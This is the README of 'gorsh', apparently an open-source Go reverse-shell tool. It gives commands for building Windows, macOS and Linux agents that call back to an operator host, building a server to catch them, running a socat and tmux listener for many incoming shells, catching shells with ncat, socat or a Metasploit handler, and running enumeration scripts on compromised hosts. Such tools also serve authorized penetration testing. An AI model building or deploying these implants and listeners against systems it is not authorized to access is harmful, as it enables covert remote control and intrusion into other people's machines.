gorsh
[go]lang [r]everse [sh]ell
Originally forked from - sysdream/hershell
Fork Changes
Requires go1.16+
See the Changelog
Getting started
git clone git@github.com:audibleblink/gorsh.git
Using the zstd build tag and windll make target require cgo.
Make sure you're familiar with cross-compilation and cgo and have the toolchains for it, or read
here if you're feeling adventurous.
Usage
Create internal/sshocks/conf/ssh.json
. There's an example in that same directory for
reference.
Follow the make command's printed instructions on creating an ssh user for the reverse proxy
connection.
Generate agents with:
# For the `make` targets, you only need the`LHOST`and`LPORT`environment variables.
$ make {windows,macos,linux} LHOST=example.com LPORT=443
Enumeration Scripts
The enum
command will present a selection dialog that allows once to run enumeration scripts based
on the host OS. You can update scripts in scripts/prepare_enum_scripts.sh
and run
make enumscripts
. Addition of scripts will require modification of
./internal/enum/enum_{windows,linux}.go
Catching the shell
This project ships with a server that catches the reverse shell and still provides shell-like
capabilities you lose with traditional reverse shells, including:
- Tab Completion
- Vi-mode readline editing
- History
- Cursor movements
Generate the server with:
make server
build/srv/gorsh-server --help
The gorsh and gorsh-server have a one-to-one relationship, like a traditional shell. For multiple
shells, you need to start multiple servers on different ports. Unless...
To have the ability to receive multiple shells on the same port, there's the make listen
target.
The make listen
target kicks off a socat TLS pipe and creates new tmux windows with each new
incoming connection. Feed it a port number as PORT.
socat
is essentially acting as a TLS-terminating reverse proxy. The incoming connections are then
handed off to gorsh-server through randomly generated Unix Domain Sockets.
make listen PORT=8080
# once a client connects, on a different terminal type:
tmux attach -t GORSH
Shells can also be caught without tmux or gorsh-server using:
- socat (not working on macos)
- ncat
- openssl server module
- metasploit multi handler (with a
python/shell_reverse_tcp_ssl
payload)
Examples
$ ncat --ssl --ssl-cert server.pem --ssl-key server.key -lvp 1234
$ socat stdio OPENSSL-LISTEN:443,cert=server.pem,key=server.key,verify=0
Credits